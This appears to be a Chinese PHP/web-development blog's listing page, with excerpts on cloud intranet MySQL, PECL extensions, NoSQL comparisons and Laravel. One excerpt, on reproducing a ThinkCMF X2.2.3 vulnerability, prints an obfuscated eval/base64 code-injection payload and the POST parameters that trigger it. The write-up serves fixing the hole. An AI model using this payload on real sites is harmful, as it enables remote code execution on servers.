在Web开发的世界里,网络攻击是一种常见且潜在的威胁。理解这些攻击如何运作并采取措施防范它们对于构建安全的Web应用至关重要。本文将介绍几种常见的Web攻击,提供防范策略,并以实例说明如何防止这些攻击。
相同地域云服务器间内网通信配置
我们以阿里云云服务器为例,实现相同地域两台服务器间内网链接MySQL数据库。
服务器A:内网IP:10.10.10.100,并搭建MySQL数据库。
服务器B:内网IP:10.10.10.101。
如果两台服务器网络是专有网络,则需要保证这两台服务器在同一个专有网络下,否则两台服务器无法互相访问,下面我们以在同一个专有网络为例。
服务器间ping测试
先登录服务器B命令行执行ping命令,查看是否可以访问服务器A
1 | # ping 10.10.10.100 -c 3 |
如果访问失败,再次查看两台服务器网络环境是否一致。
配置服务器安全组
登录阿里云平台,在服务器所在的安全组配置访问规则
如何安装PHP扩展
PECL(PHP Extension Community Library)是 PHP 的扩展库,它提供了一些 PHP 扩展,可以增强 PHP 的功能。所有扩展包列表查询地址:https://pecl.php.net/package-stats.php
Window 上安装PHP扩展
在PECL上找到所需要的PHP扩展,点击有DLL标识的链接地址,进行对应PHP版本的资源下载,但是你需要注意以下几点问题:
- VC6 是运行于 Apache 服务器;
- Thread safe(线程安全)是以模块形式运行在 Apache 上,如果你以 CGI 的模式运行 PHP,请选择非线程安全模式(non-thread safe);
- VC9 是运行于 IIS 服务器上;
- 下载完你需要的二进制包后,解压压缩包,将 php_mongodb.dll 文件添加到你的PHP扩展目录中(ext)。ext 目录通常在 PHP 安装目录下的 ext 目录。
打开 php 配置文件 php.ini 添加以下配置:
Redis、Memcached和MongoDB的区别和应用场景
Redis、Memcached和MongoDB是三种常用的NoSQL数据库,它们各自有着不同的特点和应用场景。
Redis
Redis是一种基于内存的数据结构存储系统,它支持多种数据结构,包括字符串(String)、哈希表(Dict)、列表(List)、集合(Set)、有序集合(sorted set)和基数估算(HyperLogLog)。
Redis的主要特点是速度快,支持高并发读写操作,并且可以持久化数据。
记录 ThinkCMF 框架 X2.2.3 版本漏洞发现与解决
接到网警通知,说网站有安全漏洞,根据网警提供的检测报告,经过各种尝试,终于复现了,现在记录这一激动人心的时刻
网站是基于ThinkCMF框架搭建的,查看版本是X2.2.3
,根据网警提供的检测报告在postman工具上操作复现漏洞情况
- 使用POST方式请求首页链接地址
- 使用form-data提交参数
- 参数
content=<php>die(assert('ev'.'a'.'l("'.'e'.'va'.'l(bas'.'e64_de'.'code(\"cGhwaW5mbygpOw==\"));;return 1;")'))</php>
- 参数
a=fetch
点击发送,看看结果,意不意外惊不惊喜!
Laravel 模型关联查询已物理删除的数据设置默认值
在使用Laravel模型关联数据时,会遇到关联查询到的数据已被删除,会导致查询结果为null
1 | ....... |
如果想要保证查询结果不会出现null
,可以使用 Laravel 的「Eloquent」 ORM 中的「withDefault」方法来设置默认值。例如:
Laravel安装laravel-wechat实现微信授权登录
Nginx配置location语法规则
PHP 多维数组转为树结构
在项目中我们会遇到获取存在父子级关系的数组,并需要根据上下级关系以树结构的形式展示的情况
比如获取分类列表,类似如下数据
1 | $data = [ |